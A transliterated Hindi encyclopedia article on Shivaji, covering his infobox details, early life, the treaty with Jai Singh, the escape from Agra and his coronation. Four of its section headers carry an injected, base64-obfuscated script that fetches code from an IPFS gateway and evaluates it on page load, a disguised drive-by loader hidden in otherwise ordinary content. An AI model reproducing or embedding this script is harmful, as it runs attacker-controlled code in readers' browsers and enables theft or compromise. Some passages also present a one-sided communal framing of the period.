शिवाजी

shivaji vishay soochi

shivaji    parichay    arambhik jivan    shivaji aur jayasianh    agara yatra    rajyabhishek    rajanitik sthiti    mugaloan se sambandh    shivaji aur afazal khaan    soorat par akraman    durgoan par niyantran    karnatak abhiyan    prashasan    sainy vyavastha    rajasv prashasan    aantim samay    vyaktitv

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shivaji
shivaji|200px|center
poora nam	shivaji raje bhoansale
any nam	chhatrapati shivaji maharaj
janm	19 faravari, 1630
janm bhoomi	shivaneri, maharashtr
mrityu tithi	3 aprail, 1680
mrityu sthan	durg rayagadh
pita/mata	shahaji bhoansale, jijabaee
pati/patni	saibaeean nimbalakar
santan	sambhaji
upadhi	chhatrapati
shasan kal	1642 - 1680 ee.
sha. avadhi	38 varsh
rajyabhishek	6 joon, 1674 ee.
dharmik manyata	hindoo dharm
yuddh	mugaloan ke viruddh anek yuddh hue
nirman	anek qiloan ka nirman aur punaruddhar
sudhar-parivartan	hindoo rajy ki sthapana
rajadhani	durg rajagadh
poorvadhikari	shahaji bhoansale
uttaradhikari	sambhaji
rajagharana	maratha samrajy
vansh	bhoansale
smarak	maharashtr
sanbandhit lekh	tana ji, maharashtr, rayagadh, samarth guru ramadas, poona
any janakari	"shiv sootr" (gurilla yuddh) ka arambh kiya.

shivaji (aangrezi: Shivaji, poora nam: 'shivaji raje bhoansale', janm: 19 faravari, 1630 ee.; mrityu: 3 aprail, 1680 ee.) pashchimi bharat ke maratha samrajy ke sansthapak the. shivaji ke pita ka nam shahaji bhoansale aur mata ka nam jijabaee tha. senanayak ke roop mean shivaji ki mahanata nirvivad rahi hai. shivaji ne anek qiloan ka nirman aur punaruddhar karavaya. unake nirdeshanusar san 1679 ee. mean annaji dattoan ne ek vistrit bhoo-sarvekshan karavaya, jisake parinamasvaroop ek naya rajasv nirdharan hua.

jivan parichay

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inake pitaji shahaji bhoansale ne shivaji ke janm ke uparant hi apani patni jijabaee ko prayah tyag diya tha. unaka bachapan bahut upekshit raha aur ve sauteli maan ke karan bahut dinoan tak pita ke sanrakshan se vanchit rahe. unake pita shooravir the aur apani doosari patni tukabaee mohite par akarshit the. jijabaee uchch kul mean utpann pratibhashali hote hue bhi tiraskrit jivan ji rahi thian. jijabaee yadav vansh se thian. unake pita ek shaktishali aur prabhavashali samant the. balak shivaji ka lalan-palan unake sthaniy sanrakshak dadaji koandadev, jijabaee tatha samarth guru ramadas ki dekharekh mean hua.

aranbhik jivan

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shivaji prabhavashali kulinoan ke vanshaj the. us samay bharat par muslim shasan tha. uttari bharat mean mugaloan tatha dakshin mean bijapur aur golakuanda mean muslim sultanoan ka, ye tinoan hi apani shakti ke zor par shasan karate the aur praja ke prati kartavy ki bhavana nahian rakhate the. shivaji ki paitrik jayadad bijapur ke sultan dvara shasit dakkan mean thi. unhoanne muslimoan dvara kie ja rahe daman aur dharmik utpi dan ko itana asahaniy paya ki 16 varsh ki ayu tak pahuanchate-pahuanchate unhean vishvas ho gaya ki hinduoan ki mukti ke lie eeshvar ne unhean niyukt kiya hai. unaka yahi vishvas jivan bhar unaka margadarshan karata raha. unaki vidhava mata, jo svatantr vicharoan vali hindoo kulin mahila thi, ne janm se hi unhean dabe-kuchale hianduoan ke adhikaroan ke lie l dane aur muslim shasakoan ko ukha d phaiankane ki shiksha di thi. 200px|left

shivaji aur jayasianh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shivaji ko kuchalane ke lie raja jayasianh ne bijapur ke sultan se sandhi kar purandar ke qile ko adhikar mean karane ki apane yojana ke pratham charan mean 24 aprail, 1665 ee. ko 'vrajagadh' ke qile par adhikar kar liya. purandar ke qile ki raksha karate hue shivaji ka atyant vir senanayak 'murar ji baji' mara gaya. purandar ke qile ko bacha pane mean apane ko asamarth janakar shivaji ne maharaja jayasianh se sandhi ki peshakash ki. donoan neta sandhi ki shartoan par sahamat ho gaye aur 22 joon, 1665 ee. ko 'purandar ki sandhi' sampann huee.

agara yatra

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

apani suraksha ka poorn ashvasan prapt kar shivaji agara ke darabar mean aurangazeb se milane ke lie taiyar ho gaye. vah 9 mee, 1666 ee ko apane putr shambhaji evan 4000 maratha sainikoan ke sath mugal darabar mean upasthit hue, parantu aurangazeb dvara uchit samman n prapt karane par shivaji ne bhare hue darabar mean aurangazeb ko 'vishvasaghati' kaha, jisake parinamasvaroop aurangazeb ne shivaji evan unake putr ko 'jayapur bhavan' mean qaid kar diya. vahaan se shivaji 13 agast, 1666 ee ko phaloan ki tokari mean chhipakar farar ho gaye aur 22 sitambar, 1666 ee. ko rayagadh pahuanche. kuchh din bad shivaji ne mugal samrat aurangazeb ko patr likhakar kaha ki "yadi samrat use (shivaji) ko kshama kar dean to vah apane putr shambhaji ko punah mugal seva mean bhej sakate haian." aurangazeb ne shivaji ki in shartoan ko svikar kar use 'raja' ki upadhi pradan ki.

rajyabhishek

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

san 1674 tak shivaji ne un sare pradeshoan par adhikar kar liya tha, jo purandar ki sandhi ke antargat unhean mugaloan ko dene p de the. pashchimi maharashtr mean svatantr hindoo rashtr ki sthapana ke bad shivaji ne apana rajyabhishek karana chaha, parantu brahmanoan ne unaka ghor virodh kiya. shivaji ke niji sachiv balaji av ji ne ise ek chunauti ke roop mean liya aur unhoanne ne kashi mean gangabh namak ek brahman ke pas tin dootoan ko bheja, kintu gangabh ne prastav thukara diya, kyoanki shivaji kshatriy nahian the. usane kaha ki kshatriyata ka praman lao tabhi vah rajyabhishek karega. balaji av ji ne shivaji ka sambandh meva d ke sisodiya vansh se samabanddh ke praman bheje, jisase santusht hokar vah rayagadh aya or usane rajyabhishek kiya.

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bahari k diyaan

• chhatrapati shivaji maharaj
• Chhatrapati Shivaji
• Chhatrapati Shivaji Maharaj